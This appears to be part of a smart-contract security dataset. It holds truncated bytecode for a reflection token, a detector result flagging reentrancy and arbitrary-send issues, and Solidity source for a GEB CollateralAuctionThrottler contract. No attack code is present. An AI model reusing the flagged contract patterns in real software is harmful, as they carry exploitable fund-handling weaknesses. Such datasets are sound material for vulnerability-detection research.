5781602001602082028036833780820191505090505b509050308160008151811061155357611552612a77565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156115f557600080fd5b505afa158015611609573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061162d9190611f72565b8160018151811061164157611640612a77565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506116a830600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610eed565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161170c95949392919061262f565b600060405180830381600087803b15801561172657600080fd5b505af115801561173a573d6000803e3d6000fd5b50505050506000600c60156101000a81548160ff02191690831515021790555050565b60006005548211156117a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161179b906124d4565b60405180910390fd5b60006117ae6118aa565b90506117c38184610e9b90919063ffffffff16565b915050919050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611833573d6000803e3d6000fd5b5050565b6000808311829061187e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118759190612492565b60405180910390fd5b506000838561188d919061274f565b9050809150509392505050565b6118a58383836118d5565b505050565b60008060006118b7611aa0565b915091506118ce8183610e9b90919063ffffffff16565b9250505090565b6000806000806000806118e787611b3b565b95509550955095509550955061194586600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ba390919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119da85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bed90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a2681611c4b565b611a308483611d08565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611a8d9190612614565b60405180910390a3505050505050505050565b6000806000600554905060006006600a611aba91906127d3565b6305f5e100611ac991906128f1565b9050611afc6006600a611adc91906127d3565b6305f5e100611aeb91906128f1565b600554610e9b90919063ffffffff16565b821015611b2e576005546006600a611b1491906127d3565b6305f5e100611b2391906128f1565b935093505050611b37565b81819350935050505b9091565b6000806000806000806000806000611b588a600754600854611d42565b9250925092506000611b686118aa565b90506000806000611b7b8e878787611dd8565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611be583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611471565b905092915050565b6000808284611bfc91906126f9565b905083811015611c41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c3890612534565b60405180910390fd5b8091505092915050565b6000611c556118aa565b90506000611c6c8284611e6190919063ffffffff16565b9050611cc081600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bed90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611d1d82600554611ba390919063ffffffff16565b600581905550611d3881600654611bed90919063ffffffff16565b6006819055505050565b600080600080611d6e6064611d60888a611e6190919063ffffffff16565b610e9b90919063ffffffff16565b90506000611d986064611d8a888b611e6190919063ffffffff16565b610e9b90919063ffffffff16565b90506000611dc182611db3858c611ba390919063ffffffff16565b611ba390919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611df18589611e6190919063ffffffff16565b90506000611e088689611e6190919063ffffffff16565b90506000611e1f8789611e6190919063ffffffff16565b90506000611e4882611e3a8587611ba390919063ffffffff16565b611ba390919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611e745760009050611ed6565b60008284611e8291906128f1565b9050828482611e91919061274f565b14611ed1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ec890612574565b60405180910390fd5b809150505b92915050565b600081359050611eeb81612dc5565b92915050565b600081519050611f0081612dc5565b92915050565b600081519050611f1581612ddc565b92915050565b600081359050611f2a81612df3565b92915050565b600081519050611f3f81612df3565b92915050565b600060208284031215611f5b57611f5a612ad5565b5b6000611f6984828501611edc565b91505092915050565b600060208284031215611f8857611f87612ad5565b5b6000611f9684828501611ef1565b91505092915050565b60008060408385031215611fb657611fb5612ad5565b5b6000611fc485828601611edc565b9250506020611fd585828601611edc565b9150509250929050565b600080600060608486031215611ff857611ff7612ad5565b5b600061200686828701611edc565b935050602061201786828701611edc565b925050604061202886828701611f1b565b9150509250925092565b6000806040838503121561204957612048612ad5565b5b600061205785828601611edc565b925050602061206885828601611f1b565b9150509250929050565b60006020828403121561208857612087612ad5565b5b600061209684828501611f06565b91505092915050565b6000602082840312156120b5576120b4612ad5565b5b60006120c384828501611f1b565b91505092915050565b6000806000606084860312156120e5576120e4612ad5565b5b60006120f386828701611f30565b935050602061210486828701611f30565b925050604061211586828701611f30565b9150509250925092565b600061212b8383612137565b60208301905092915050565b6121408161297f565b82525050565b61214f8161297f565b82525050565b6000612160826126b4565b61216a81856126d7565b9350612175836126a4565b8060005b838110156121a657815161218d888261211f565b9750612198836126ca565b925050600181019050612179565b5085935050505092915050565b6121bc81612991565b82525050565b6121cb816129d4565b82525050565b60006121dc826126bf565b6121e681856126e8565b93506121f68185602086016129e6565b6121ff81612ada565b840191505092915050565b60006122176023836126e8565b915061222282612af8565b604082019050919050565b600061223a602a836126e8565b915061224582612b47565b604082019050919050565b600061225d6022836126e8565b915061226882612b96565b604082019050919050565b60006122806017836126e8565b915061228b82612be5565b602082019050919050565b60006122a3601b836126e8565b91506122ae82612c0e565b602082019050919050565b60006122c6601a836126e8565b91506122d182612c37565b602082019050919050565b60006122e96021836126e8565b91506122f482612c60565b604082019050919050565b600061230c6020836126e8565b915061231782612caf565b602082019050919050565b600061232f6029836126e8565b915061233a82612cd8565b604082019050919050565b60006123526025836126e8565b915061235d82612d27565b604082019050919050565b60006123756024836126e8565b915061238082612d76565b604082019050919050565b612394816129bd565b82525050565b6123a3816129c7565b82525050565b60006020820190506123be6000830184612146565b92915050565b60006040820190506123d96000830185612146565b6123e66020830184612146565b9392505050565b60006040820190506124026000830185612146565b61240f602083018461238b565b9392505050565b600060c08201905061242b6000830189612146565b612438602083018861238b565b61244560408301876121c2565b61245260608301866121c2565b61245f6080830185612146565b61246c60a083018461238b565b979650505050505050565b600060208201905061248c60008301846121b3565b92915050565b600060208201905081810360008301526124ac81846121d1565b905092915050565b600060208201905081810360008301526124cd8161220a565b9050919050565b600060208201905081810360008301526124ed8161222d565b9050919050565b6000602082019050818103600083015261250d81612250565b9050919050565b6000602082019050818103600083015261252d81612273565b9050919050565b6000602082019050818103600083015261254d81612296565b9050919050565b6000602082019050818103600083015261256d816122b9565b9050919050565b6000602082019050818103600083015261258d816122dc565b9050919050565b600060208201905081810360008301526125ad816122ff565b9050919050565b600060208201905081810360008301526125cd81612322565b9050919050565b600060208201905081810360008301526125ed81612345565b9050919050565b6000602082019050818103600083015261260d81612368565b9050919050565b6000602082019050612629600083018461238b565b92915050565b600060a082019050612644600083018861238b565b61265160208301876121c2565b81810360408301526126638186612155565b90506126726060830185612146565b61267f608083018461238b565b9695505050505050565b600060208201905061269e600083018461239a565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612704826129bd565b915061270f836129bd565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561274457612743612a19565b5b828201905092915050565b600061275a826129bd565b9150612765836129bd565b92508261277557612774612a48565b5b828204905092915050565b6000808291508390505b60018511156127ca578086048111156127a6576127a5612a19565b5b60018516156127b55780820291505b80810290506127c385612aeb565b945061278a565b94509492505050565b60006127de826129bd565b91506127e9836129c7565b92506128167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461281e565b905092915050565b60008261282e57600190506128ea565b8161283c57600090506128ea565b8160018114612852576002811461285c5761288b565b60019150506128ea565b60ff84111561286e5761286d612a19565b5b8360020a91508482111561288557612884612a19565b5b506128ea565b5060208310610133831016604e8410600b84101617156128c05782820a9050838111156128bb576128ba612a19565b5b6128ea565b6128cd8484846001612780565b925090508184048111156128e4576128e3612a19565b5b81810290505b9392505050565b60006128fc826129bd565b9150612907836129bd565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156129405761293f612a19565b5b828202905092915050565b6000612956826129bd565b9150612961836129bd565b92508282101561297457612973612a19565b5b828203905092915050565b600061298a8261299d565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006129df826129bd565b9050919050565b60005b83811015612a045780820151818401526020810190506129e9565b83811115612a13576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f5472616e73616374696f6e20616d6f756e74206c696d69746564000000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b612dce8161297f565b8114612dd957600080fd5b50565b612de581612991565b8114612df057600080fd5b50565b612dfc816129bd565b8114612e0757600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206872bc404e563f6a8eb0004805ea7dd6f57ebf8554d5416122cf74ce9ae1936464736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 6,540 |
0x59536c9ad1a390fa0f60813b2a4e8b957903efc7
|
/**
*Submitted for verification at Etherscan.io on 2021-04-07
*/
pragma solidity 0.6.7;
contract GebMath {
uint256 public constant RAY = 10 ** 27;
uint256 public constant WAD = 10 ** 18;
function ray(uint x) public pure returns (uint z) {
z = multiply(x, 10 ** 9);
}
function rad(uint x) public pure returns (uint z) {
z = multiply(x, 10 ** 27);
}
function minimum(uint x, uint y) public pure returns (uint z) {
z = (x <= y) ? x : y;
}
function addition(uint x, uint y) public pure returns (uint z) {
z = x + y;
require(z >= x, "uint-uint-add-overflow");
}
function subtract(uint x, uint y) public pure returns (uint z) {
z = x - y;
require(z <= x, "uint-uint-sub-underflow");
}
function multiply(uint x, uint y) public pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, "uint-uint-mul-overflow");
}
function rmultiply(uint x, uint y) public pure returns (uint z) {
z = multiply(x, y) / RAY;
}
function rdivide(uint x, uint y) public pure returns (uint z) {
z = multiply(x, RAY) / y;
}
function wdivide(uint x, uint y) public pure returns (uint z) {
z = multiply(x, WAD) / y;
}
function wmultiply(uint x, uint y) public pure returns (uint z) {
z = multiply(x, y) / WAD;
}
function rpower(uint x, uint n, uint base) public pure returns (uint z) {
assembly {
switch x case 0 {switch n case 0 {z := base} default {z := 0}}
default {
switch mod(n, 2) case 0 { z := base } default { z := x }
let half := div(base, 2) // for rounding.
for { n := div(n, 2) } n { n := div(n,2) } {
let xx := mul(x, x)
if iszero(eq(div(xx, x), x)) { revert(0,0) }
let xxRound := add(xx, half)
if lt(xxRound, xx) { revert(0,0) }
x := div(xxRound, base)
if mod(n,2) {
let zx := mul(z, x)
if and(iszero(iszero(x)), iszero(eq(div(zx, x), z))) { revert(0,0) }
let zxRound := add(zx, half)
if lt(zxRound, zx) { revert(0,0) }
z := div(zxRound, base)
}
}
}
}
}
}
abstract contract StabilityFeeTreasuryLike {
function getAllowance(address) virtual external view returns (uint, uint);
function systemCoin() virtual external view returns (address);
function pullFunds(address, address, uint) virtual external;
}
contract IncreasingTreasuryReimbursement is GebMath {
// --- Auth ---
mapping (address => uint) public authorizedAccounts;
/**
* @notice Add auth to an account
* @param account Account to add auth to
*/
function addAuthorization(address account) virtual external isAuthorized {
authorizedAccounts[account] = 1;
emit AddAuthorization(account);
}
/**
* @notice Remove auth from an account
* @param account Account to remove auth from
*/
function removeAuthorization(address account) virtual external isAuthorized {
authorizedAccounts[account] = 0;
emit RemoveAuthorization(account);
}
/**
* @notice Checks whether msg.sender can call an authed function
**/
modifier isAuthorized {
require(authorizedAccounts[msg.sender] == 1, "IncreasingTreasuryReimbursement/account-not-authorized");
_;
}
// --- Variables ---
// Starting reward for the fee receiver/keeper
uint256 public baseUpdateCallerReward; // [wad]
// Max possible reward for the fee receiver/keeper
uint256 public maxUpdateCallerReward; // [wad]
// Max delay taken into consideration when calculating the adjusted reward
uint256 public maxRewardIncreaseDelay; // [seconds]
// Rate applied to baseUpdateCallerReward every extra second passed beyond a certain point (e.g next time when a specific function needs to be called)
uint256 public perSecondCallerRewardIncrease; // [ray]
// SF treasury
StabilityFeeTreasuryLike public treasury;
// --- Events ---
event AddAuthorization(address account);
event RemoveAuthorization(address account);
event ModifyParameters(
bytes32 parameter,
address addr
);
event ModifyParameters(
bytes32 parameter,
uint256 val
);
event FailRewardCaller(bytes revertReason, address feeReceiver, uint256 amount);
constructor(
address treasury_,
uint256 baseUpdateCallerReward_,
uint256 maxUpdateCallerReward_,
uint256 perSecondCallerRewardIncrease_
) public {
if (address(treasury_) != address(0)) {
require(StabilityFeeTreasuryLike(treasury_).systemCoin() != address(0), "IncreasingTreasuryReimbursement/treasury-coin-not-set");
}
require(maxUpdateCallerReward_ >= baseUpdateCallerReward_, "IncreasingTreasuryReimbursement/invalid-max-caller-reward");
require(perSecondCallerRewardIncrease_ >= RAY, "IncreasingTreasuryReimbursement/invalid-per-second-reward-increase");
authorizedAccounts[msg.sender] = 1;
treasury = StabilityFeeTreasuryLike(treasury_);
baseUpdateCallerReward = baseUpdateCallerReward_;
maxUpdateCallerReward = maxUpdateCallerReward_;
perSecondCallerRewardIncrease = perSecondCallerRewardIncrease_;
maxRewardIncreaseDelay = uint(-1);
emit AddAuthorization(msg.sender);
emit ModifyParameters("treasury", treasury_);
emit ModifyParameters("baseUpdateCallerReward", baseUpdateCallerReward);
emit ModifyParameters("maxUpdateCallerReward", maxUpdateCallerReward);
emit ModifyParameters("perSecondCallerRewardIncrease", perSecondCallerRewardIncrease);
}
// --- Boolean Logic ---
function either(bool x, bool y) internal pure returns (bool z) {
assembly{ z := or(x, y)}
}
// --- Treasury ---
/**
* @notice This returns the stability fee treasury allowance for this contract by taking the minimum between the per block and the total allowances
**/
function treasuryAllowance() public view returns (uint256) {
(uint total, uint perBlock) = treasury.getAllowance(address(this));
return minimum(total, perBlock);
}
/*
* @notice Get the SF reward that can be sent to a function caller right now
* @param timeOfLastUpdate The last time when the function that the treasury pays for has been updated
* @param defaultDelayBetweenCalls Enforced delay between calls to the function for which the treasury reimburses callers
*/
function getCallerReward(uint256 timeOfLastUpdate, uint256 defaultDelayBetweenCalls) public view returns (uint256) {
// If the rewards are null or if the time of the last update is in the future or present, return 0
bool nullRewards = (baseUpdateCallerReward == 0 && maxUpdateCallerReward == 0);
if (either(timeOfLastUpdate >= now, nullRewards)) return 0;
// If the time elapsed is smaller than defaultDelayBetweenCalls or if the base reward is zero, return 0
uint256 timeElapsed = (timeOfLastUpdate == 0) ? defaultDelayBetweenCalls : subtract(now, timeOfLastUpdate);
if (either(timeElapsed < defaultDelayBetweenCalls, baseUpdateCallerReward == 0)) {
return 0;
}
// If too much time elapsed, return the max reward
uint256 adjustedTime = subtract(timeElapsed, defaultDelayBetweenCalls);
uint256 maxPossibleReward = minimum(maxUpdateCallerReward, treasuryAllowance() / RAY);
if (adjustedTime > maxRewardIncreaseDelay) {
return maxPossibleReward;
}
// Calculate the reward
uint256 calculatedReward = baseUpdateCallerReward;
if (adjustedTime > 0) {
calculatedReward = rmultiply(rpower(perSecondCallerRewardIncrease, adjustedTime, RAY), calculatedReward);
}
// If the reward is higher than max, set it to max
if (calculatedReward > maxPossibleReward) {
calculatedReward = maxPossibleReward;
}
return calculatedReward;
}
/**
* @notice Send a stability fee reward to an address
* @param proposedFeeReceiver The SF receiver
* @param reward The system coin amount to send
**/
function rewardCaller(address proposedFeeReceiver, uint256 reward) internal {
// If the receiver is the treasury itself or if the treasury is null or if the reward is zero, return
if (address(treasury) == proposedFeeReceiver) return;
if (either(address(treasury) == address(0), reward == 0)) return;
// Determine the actual receiver and send funds
address finalFeeReceiver = (proposedFeeReceiver == address(0)) ? msg.sender : proposedFeeReceiver;
try treasury.pullFunds(finalFeeReceiver, treasury.systemCoin(), reward) {}
catch(bytes memory revertReason) {
emit FailRewardCaller(revertReason, finalFeeReceiver, reward);
}
}
}
abstract contract LiquidationEngineLike {
function currentOnAuctionSystemCoins() virtual public view returns (uint256);
function modifyParameters(bytes32, uint256) virtual external;
}
abstract contract SAFEEngineLike {
function globalDebt() virtual public view returns (uint256);
function globalUnbackedDebt() virtual public view returns (uint256);
function coinBalance(address) virtual public view returns (uint256);
}
contract CollateralAuctionThrottler is IncreasingTreasuryReimbursement {
// --- Variables ---
// Minimum delay between consecutive updates
uint256 public updateDelay; // [seconds]
// Delay since the last update time after which backupLimitRecompute can be called
uint256 public backupUpdateDelay; // [seconds]
// Percentage of global debt taken into account in order to set LiquidationEngine.onAuctionSystemCoinLimit
uint256 public globalDebtPercentage; // [hundred]
// The minimum auction limit
uint256 public minAuctionLimit; // [rad]
// Last timestamp when the onAuctionSystemCoinLimit was updated
uint256 public lastUpdateTime; // [unix timestamp]
LiquidationEngineLike public liquidationEngine;
SAFEEngineLike public safeEngine;
// List of surplus holders
address[] public surplusHolders;
constructor(
address safeEngine_,
address liquidationEngine_,
address treasury_,
uint256 updateDelay_,
uint256 backupUpdateDelay_,
uint256 baseUpdateCallerReward_,
uint256 maxUpdateCallerReward_,
uint256 perSecondCallerRewardIncrease_,
uint256 globalDebtPercentage_,
address[] memory surplusHolders_
) public IncreasingTreasuryReimbursement(treasury_, baseUpdateCallerReward_, maxUpdateCallerReward_, perSecondCallerRewardIncrease_) {
require(safeEngine_ != address(0), "CollateralAuctionThrottler/null-safe-engine");
require(liquidationEngine_ != address(0), "CollateralAuctionThrottler/null-liquidation-engine");
require(updateDelay_ > 0, "CollateralAuctionThrottler/null-update-delay");
require(backupUpdateDelay_ > updateDelay_, "CollateralAuctionThrottler/invalid-backup-update-delay");
require(both(globalDebtPercentage_ > 0, globalDebtPercentage_ <= HUNDRED), "CollateralAuctionThrottler/invalid-global-debt-percentage");
require(surplusHolders_.length <= HOLDERS_ARRAY_LIMIT, "CollateralAuctionThrottler/invalid-holder-array-length");
safeEngine = SAFEEngineLike(safeEngine_);
liquidationEngine = LiquidationEngineLike(liquidationEngine_);
updateDelay = updateDelay_;
backupUpdateDelay = backupUpdateDelay_;
globalDebtPercentage = globalDebtPercentage_;
surplusHolders = surplusHolders_;
emit ModifyParameters(bytes32("updateDelay"), updateDelay);
emit ModifyParameters(bytes32("globalDebtPercentage"), globalDebtPercentage);
emit ModifyParameters(bytes32("backupUpdateDelay"), backupUpdateDelay);
}
// --- Math ---
uint256 internal constant ONE = 1;
uint256 internal constant HOLDERS_ARRAY_LIMIT = 10;
uint256 internal constant HUNDRED = 100;
// --- Boolean Logic ---
function both(bool x, bool y) internal pure returns (bool z) {
assembly{ z := and(x, y)}
}
// --- Administration ---
/*
* @notify Modify a uint256 parameter
* @param parameter The name of the parameter to modify
* @param data The new parameter value
*/
function modifyParameters(bytes32 parameter, uint256 data) external isAuthorized {
if (parameter == "baseUpdateCallerReward") {
require(data <= maxUpdateCallerReward, "CollateralAuctionThrottler/invalid-min-reward");
baseUpdateCallerReward = data;
}
else if (parameter == "maxUpdateCallerReward") {
require(data >= baseUpdateCallerReward, "CollateralAuctionThrottler/invalid-max-reward");
maxUpdateCallerReward = data;
}
else if (parameter == "perSecondCallerRewardIncrease") {
require(data >= RAY, "CollateralAuctionThrottler/invalid-reward-increase");
perSecondCallerRewardIncrease = data;
}
else if (parameter == "maxRewardIncreaseDelay") {
require(data > 0, "CollateralAuctionThrottler/invalid-max-increase-delay");
maxRewardIncreaseDelay = data;
}
else if (parameter == "updateDelay") {
require(data > 0, "CollateralAuctionThrottler/null-update-delay");
updateDelay = data;
}
else if (parameter == "backupUpdateDelay") {
require(data > updateDelay, "CollateralAuctionThrottler/invalid-backup-update-delay");
backupUpdateDelay = data;
}
else if (parameter == "globalDebtPercentage") {
require(both(data > 0, data <= HUNDRED), "CollateralAuctionThrottler/invalid-global-debt-percentage");
globalDebtPercentage = data;
}
else if (parameter == "minAuctionLimit") {
minAuctionLimit = data;
}
else revert("CollateralAuctionThrottler/modify-unrecognized-param");
emit ModifyParameters(parameter, data);
}
/*
* @notify Modify the address of a contract param
* @param parameter The name of the parameter to change the address for
* @param addr The new address
*/
function modifyParameters(bytes32 parameter, address addr) external isAuthorized {
require(addr != address(0), "CollateralAuctionThrottler/null-addr");
if (parameter == "treasury") {
require(StabilityFeeTreasuryLike(addr).systemCoin() != address(0), "CollateralAuctionThrottler/treasury-coin-not-set");
treasury = StabilityFeeTreasuryLike(addr);
}
else if (parameter == "liquidationEngine") {
liquidationEngine = LiquidationEngineLike(addr);
}
else revert("CollateralAuctionThrottler/modify-unrecognized-param");
emit ModifyParameters(parameter, addr);
}
// --- Recompute Logic ---
/*
* @notify Recompute and set the new onAuctionSystemCoinLimit
* @param feeReceiver The address that will receive the reward for recomputing the onAuctionSystemCoinLimit
*/
function recomputeOnAuctionSystemCoinLimit(address feeReceiver) public {
// Check delay between calls
require(either(subtract(now, lastUpdateTime) >= updateDelay, lastUpdateTime == 0), "CollateralAuctionThrottler/wait-more");
// Get the caller's reward
uint256 callerReward = getCallerReward(lastUpdateTime, updateDelay);
// Store the timestamp of the update
lastUpdateTime = now;
// Compute total surplus
uint256 totalSurplus;
for (uint i = 0; i < surplusHolders.length; i++) {
totalSurplus = addition(totalSurplus, safeEngine.coinBalance(surplusHolders[i]));
}
// Remove surplus from global debt
uint256 rawGlobalDebt = subtract(safeEngine.globalDebt(), totalSurplus);
rawGlobalDebt = subtract(rawGlobalDebt, safeEngine.globalUnbackedDebt());
// Calculate and set the onAuctionSystemCoinLimit
uint256 newAuctionLimit = multiply(rawGlobalDebt / HUNDRED, globalDebtPercentage);
uint256 currentOnAuctionSystemCoins = liquidationEngine.currentOnAuctionSystemCoins();
newAuctionLimit = (newAuctionLimit <= minAuctionLimit) ? minAuctionLimit : newAuctionLimit;
newAuctionLimit = (newAuctionLimit == 0) ? uint(-1) : newAuctionLimit;
newAuctionLimit = (newAuctionLimit < currentOnAuctionSystemCoins) ? currentOnAuctionSystemCoins : newAuctionLimit;
liquidationEngine.modifyParameters("onAuctionSystemCoinLimit", newAuctionLimit);
// Pay the caller for updating the rate
rewardCaller(feeReceiver, callerReward);
}
/*
* @notify Backup function for recomputing the onAuctionSystemCoinLimit in case of a severe delay since the last update
*/
function backupRecomputeOnAuctionSystemCoinLimit() public {
// Check delay between calls
require(both(subtract(now, lastUpdateTime) >= backupUpdateDelay, lastUpdateTime > 0), "CollateralAuctionThrottler/wait-more");
// Store the timestamp of the update
lastUpdateTime = now;
// Set the onAuctionSystemCoinLimit
liquidationEngine.modifyParameters("onAuctionSystemCoinLimit", uint(-1));
}
}
|
0x608060405234801561001057600080fd5b50600436106102115760003560e01c806361d027b311610125578063b11911c5116100ad578063dd2d2a121161007c578063dd2d2a121461087a578063f238ffd2146108c6578063f752fdc314610912578063fc1a8eda1461095e578063fe4f5890146109cc57610211565b8063b11911c5146107ca578063c8f33c91146107e8578063d23cb78514610806578063d6e882dc1461082457610211565b80636a146024116100f45780636a146024146106f4578063911e8a571461071257806394f3f81d1461071c578063a087163714610760578063ab422801146107ac57610211565b806361d027b3146105f45780636614f0101461063e57806367aea3131461068c57806369dec276146106d657610211565b806336b8b425116101a857806344bf3c721161017757806344bf3c72146104e057806346f3e81c1461052a57806354f363a31461056c578063552033c4146105b8578063554f94db146105d657610211565b806336b8b425146103e65780633c8bb3e61461042a5780633ef5e4451461047657806343943b6b146104c257610211565b80632009e568116101e45780632009e5681461030e57806324ba58841461032c5780633425677e1461038457806335b28153146103a257610211565b8063056640b7146102165780631021344714610262578063165c4a16146102a45780631c1f908c146102f0575b600080fd5b61024c6004803603604081101561022c57600080fd5b810190808035906020019092919080359060200190929190505050610a04565b6040518082815260200191505060405180910390f35b61028e6004803603602081101561027857600080fd5b8101908080359060200190929190505050610a2d565b6040518082815260200191505060405180910390f35b6102da600480360360408110156102ba57600080fd5b810190808035906020019092919080359060200190929190505050610a44565b6040518082815260200191505060405180910390f35b6102f8610ad9565b6040518082815260200191505060405180910390f35b610316610adf565b6040518082815260200191505060405180910390f35b61036e6004803603602081101561034257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ae5565b6040518082815260200191505060405180910390f35b61038c610afd565b6040518082815260200191505060405180910390f35b6103e4600480360360208110156103b857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bfa565b005b610428600480360360208110156103fc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d3b565b005b6104606004803603604081101561044057600080fd5b810190808035906020019092919080359060200190929190505050611246565b6040518082815260200191505060405180910390f35b6104ac6004803603604081101561048c57600080fd5b81019080803590602001909291908035906020019092919050505061126b565b6040518082815260200191505060405180910390f35b6104ca6112ee565b6040518082815260200191505060405180910390f35b6104e86112f4565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105566004803603602081101561054057600080fd5b810190808035906020019092919050505061131a565b6040518082815260200191505060405180910390f35b6105a26004803603604081101561058257600080fd5b810190808035906020019092919080359060200190929190505050611339565b6040518082815260200191505060405180910390f35b6105c06113bc565b6040518082815260200191505060405180910390f35b6105de6113cc565b6040518082815260200191505060405180910390f35b6105fc6113d2565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61068a6004803603604081101561065457600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506113f8565b005b6106946117b8565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6106de6117de565b6040518082815260200191505060405180910390f35b6106fc6117e4565b6040518082815260200191505060405180910390f35b61071a6117f0565b005b61075e6004803603602081101561073257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611942565b005b6107966004803603604081101561077657600080fd5b810190808035906020019092919080359060200190929190505050611a83565b6040518082815260200191505060405180910390f35b6107b4611aac565b6040518082815260200191505060405180910390f35b6107d2611ab2565b6040518082815260200191505060405180910390f35b6107f0611ab8565b6040518082815260200191505060405180910390f35b61080e611abe565b6040518082815260200191505060405180910390f35b6108646004803603606081101561083a57600080fd5b81019080803590602001909291908035906020019092919080359060200190929190505050611ac4565b6040518082815260200191505060405180910390f35b6108b06004803603604081101561089057600080fd5b810190808035906020019092919080359060200190929190505050611b8a565b6040518082815260200191505060405180910390f35b6108fc600480360360408110156108dc57600080fd5b810190808035906020019092919080359060200190929190505050611ba4565b6040518082815260200191505060405180910390f35b6109486004803603604081101561092857600080fd5b810190808035906020019092919080359060200190929190505050611cb6565b6040518082815260200191505060405180910390f35b61098a6004803603602081101561097457600080fd5b8101908080359060200190929190505050611cdb565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610a02600480360360408110156109e257600080fd5b810190808035906020019092919080359060200190929190505050611d17565b005b60006b033b2e3c9fd0803ce8000000610a1d8484610a44565b81610a2457fe5b04905092915050565b6000610a3d82633b9aca00610a44565b9050919050565b600080821480610a615750828283850292508281610a5e57fe5b04145b610ad3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f75696e742d75696e742d6d756c2d6f766572666c6f770000000000000000000081525060200191505060405180910390fd5